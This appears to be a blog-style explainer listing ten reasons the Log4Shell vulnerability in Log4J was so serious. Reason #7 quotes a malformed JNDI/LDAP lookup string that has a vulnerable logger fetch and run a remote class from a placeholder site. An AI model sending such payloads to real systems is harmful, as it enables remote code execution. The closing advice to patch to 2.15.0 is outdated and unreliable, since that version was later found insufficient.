Why is the Log4J / Log4Shell vulnerability so bad? Here are the top ten reasons why the Log4Shell vulnerability is so bad:
Reason #1: Java and Apache are popular
Over 3 billion devices run Java and Log4J is one of the most popular components for Java. It helps programmers understand what’s going on with their programs. It is a Java library for logging error messages in applications.
Reason #2: The largest companies in the world have used Log4J
Large enterprise companies like Amazon, Apple, Twitter, Cloudflare, Steam, Boeing, Lockheed Martin, Spotify, VMware, cPanel, ConnectWise, Auvik, N-Able, Cisco, and SonicWall have all reported using Log4J.
Reason #3: Patches break applications
Sometimes releasing patches breaks applications, so it will take time for all application vendors to patch their software. This will either lead companies to either stop using that software, or wait until it gets patched and hope they do not get hacked.
Reason #4: It can be difficult to find all instances of Log4J
In large companies, it is difficult to find all the instances of Java applications running with Log4J. This search is sometimes manual and hundreds or even in some cases thousands of applications need to be reviewed.
Reason #5: There is a labor shortage in the U.S.
There is a staffing shortage in the U.S. for cyber security and IT professionals. This will increase the delay time for patches to be applied and vulnerabilities to be found and incidents responded to.
Reason #6: Remote Code Execution
The Log4J Log4Shell vulnerability allows a hacker to perform Remote Code Execution (RCE). With this, an attacker can embed bitcoin miners, ransomware, or remote access software. Once in the network, they can hide undetected, create more backdoors, move laterally within the network, escalate privileges and ultimately get the keys to the proverbial kingdom of IT.
Reason #7: The exploit is easy to perform
The exploit is extremely easy to perform. The only thing a hacker needs to do is send the code jndi:ldap://localhost:1389/Basic/Command/start https://urlofawebsite.com/a.class to the Log4J logging service. This will execute a.class and whatever code in it.
Reason #8: Log4Shell has been in the wild for a while
The timeline of the discovery of this code may have been as far back as November 30th. In a hacker’s timeline, this is a very old exploit, meaning that hackers have already likely embedded themselves in a lot of big computer networks. It only took 48 hours for an attacker to get into Equifax once the Apache Struts vulnerability was released in 2017, which up that point was the largest breach in U.S. history.
Reason #9: Log4Shell was revealed at a bad time
The exploit was revealed at a very bad time for IT professionals. The reveal happened on a Thursday, giving IT professionals who were aware only one business day to remediate the vulnerability. Not only that, but it happened in the middle of December, when many are taking holiday vacations, gearing up for Christmas shopping and getting together with family. Instead, many were asked to go to work over the weekend.
Reason #10: There are so many hackers
There is a multi-billion-dollar black market industry that operates with veracity and is scanning the internet 24×7 with automated botnets searching for vulnerable systems. There are nation-states which seek to steal intellectual property of major corporations to position their economies competitively on the global stage. These bad actors will turn over every stone in order to achieve their goals.
In order to remediate these systems, organizations are urged to patch their Log4J services to the latest revision: 2.15.0 and implement an EDR solution. Organizations who are running Java 8 or less are at a high risk. Some have taken extreme measures, like Quebec who shut down 4,000 of their websites until they could determine which was impacted by the Log4Shell vulnerability. Others have patched, and others are rolling the dice.